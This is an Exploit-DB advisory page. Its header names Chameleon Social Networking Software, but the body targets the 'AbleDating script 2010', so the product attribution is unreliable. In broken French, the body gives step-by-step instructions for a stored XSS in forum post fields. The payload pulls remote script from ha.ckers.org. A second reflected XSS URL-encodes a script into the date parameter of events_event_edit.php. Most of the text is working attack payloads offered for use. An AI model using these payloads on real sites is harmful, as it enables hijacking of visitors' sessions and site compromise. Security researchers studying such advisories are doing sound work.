Chameleon Social Networking Software - Persistent Cross-Site Scripting

EDB-ID:

15543


Author:

Dr-mosta

Type:

webapps


Platform:

PHP

Date:

2010-11-15


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

# Exploit Title: AbleDating script 2010 Critical XSS Vulnerability 
# Date: 15.11.2010 
# Author: Dr-mosta 
# Category: webapps/0day 
# Script url: http://www.abk-soft.com/matchmaking_software_demo.html 
# Version: N/A 
# Tested on: 
# CVE :   

      [ EXPL0!T ] 

IL vaut faut inscrire au site apres aller a la partie forum ou par le 
lien  : www.sitevictim.com/forum.php
aper essais de choisir un category et essais de cree un Sujet dans le forum
vous pouvez ajouté votre code xss das le titre de Poster  ou Description ou Message

Exemple exploit code :

“><SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT><”

Exploit 2:

IL vaut faut inscrire au site apres l'Exploit :
(vuln): server/events_event_edit.php?events_event_edit.php?event_private=1&date=[XSS]
 
Exemple exploit code :

server/events_event_edit.php?event_private=1&date=%22%3E%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E%20%3Cinput%20style=%22visibility:%20visible;%22%20class=%22inp_lblack%20no_abk%20hasDatepicker%22%20id=%22event_date%22%20autocomplete=%22off%22%20name=%22event_date%22%20value=%2212-15-2010

      Greetz = TeaM MostA , exploit-db.com 

Good Luck .